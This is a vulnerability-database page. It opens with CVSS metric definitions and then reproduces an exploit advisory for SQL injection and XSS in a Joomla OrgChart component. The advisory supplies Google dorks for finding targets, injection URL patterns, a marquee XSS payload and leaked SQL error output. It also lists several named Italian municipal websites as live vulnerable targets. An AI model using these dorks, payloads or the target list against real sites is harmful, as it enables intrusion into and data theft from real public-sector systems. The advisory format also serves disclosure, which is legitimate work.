The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: Joomla 1.5.26 Com_OrgChart Components 1.0.0 XSS SQL Injection
###################################################################
# Exploit Title : Joomla 1.5.26 Com_OrgChart Components 1.0.0 XSS SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 24/08/2019
# Vendor Homepage : ibrini.com - cmspal.it - altropiano.com -
# Software Download Link : extensions.joomla.org/extension/org-chart-iib/
# Software Information Link : ibrini.com/en/boutique/information/2
# Software Affected Version : Com_OrgChart - 1.0.0 - 1.x
# Joomla Affected Version : 1.x to 1.5.26
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : intext:Realizzato con CMS-PAL 1.0 - Altropiano.com inurl:/index.php?option=com_orgchart
intext:Realizzato con CMS-PAL 1.0 - Altropiano.com site:it
inurl:/index.php?option=com_orgchart site:it
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
CWE-79 [ Improper Neutralization of Input During
Web Page Generation ('Cross-site Scripting') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
###################################################################
# Description About Software :
*****************************
Org Chart Tool is organizational chart with many options to display
hierarchical charts, organizational structures and sets of nested elements.
###################################################################
# Impact :
***********
Joomla 1.5.26 Com_OrgChart Components 1.0.0 is prone to an SQL-injection vulnerability
because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or
modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application and
execute arbitrary SQL commands in application`s database. Further exploitation of this
vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser or with any SQL Injector Tool.
Reflected XSS (or Non-Persistent) :
***************************************
The server reads data directly from the HTTP
request and reflects it back in the HTTP response. Reflected XSS exploits occur when an
attacker causes a victim to supply dangerous content to a vulnerable web application,
which is then reflected back to the victim and executed by the web browser. The most common
mechanism for delivering malicious content is to include it as a parameter in a URL that is
posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute
the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL
that refers to a vulnerable site. After the site reflects the attacker's content back to the victim,
the content is executed by the victim's browser.
###################################################################
Admin Panel Login Path :
***********************
/administrator/
# SQL Injection Exploit :
**********************
/index.php?option=com_orgchart&task=img&cat=[SQL Injection]
/index.php?option=com_orgchart&task=img&cat=[ID-NUMBER]&set=[ID-NUMBER]&c=[SQL Injection]
/index.php?option=com_orgchart&task=img&cat=[ID-NUMBER]&set=[ID-NUMBER]&c=[SQL Injection]&lang=it
# Cross Site Scripting XSS Exploit :
********************************
/index.php?option=com_orgchart&task=img&cat=1%27<marquee>
<font%20color=lime%20size=32>XSS-Vulnerability-Found-By-KingSkrupellos</font></marquee>
###################################################################
# Example Vulnerable Sites :
*************************
[+] www.comune.portoazzurro.li.it/index.php?option=com_orgchart&task=img&cat=1%27
[+] www.comune.portoazzurro.li.it/index.php?option=com_orgchart&task=img&cat=1%27<marquee>
<font%20color=lime%20size=32>XSS-Vulnerability-Found-By-KingSkrupellos</font></marquee>
[+] www.comune.marcianamarina.li.it/index.php?option=com_orgchart&task=img&cat=1%27
[+] www.comunevillabasilica.it/index.php?option=com_orgchart&task=img&cat=1%27
[+] www.comune.villabasilica.lu.gov.it/index.php?option=com_orgchart&task=img&cat=1%27
[+] www.comune.camponellelba.li.it/index.php?option=com_orgchart&task=img&cat=1%27
[+] latiano.info/index.php?option=com_orgchart&task=img&cat=1%27
[+] www.comune.rionellelba.li.it/index.php?option=com_orgchart&task=img&cat=1%27
###################################################################
# Example SQL Database Error :
****************************
You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near 'AND c.cat_resp = o.id' at line 2 SQL=SELECT *
FROM cmspal_users AS o, cmspal_cat_orgchart AS c WHERE c.cat_id = AND c.cat_resp = o.id
DB function failed with error number 1064
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for
the right syntax to use near '' ORDER BY m.added desc' at line 5 SQL=SELECT m.uff_name as uname,
m.uff_desc as descrip, m.uff_id as id, m.added as added, m.uff_resp as resp, m.uff_addr as addr,
m.uff_time as time, u.name as rname, u.*, m.cat_id as cid, m.doc_cat_id as did, c.* FROM cmspal_
uff_orgchart AS m LEFT JOIN cmspal_cat_orgchart AS c ON ( m.cat_id = c.cat_id ) LEFT JOIN
cmspal_users AS u ON ( m.uff_resp = u.id ) WHERE m.uff_id=1' ORDER BY m.added desc
###################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
###################################################################
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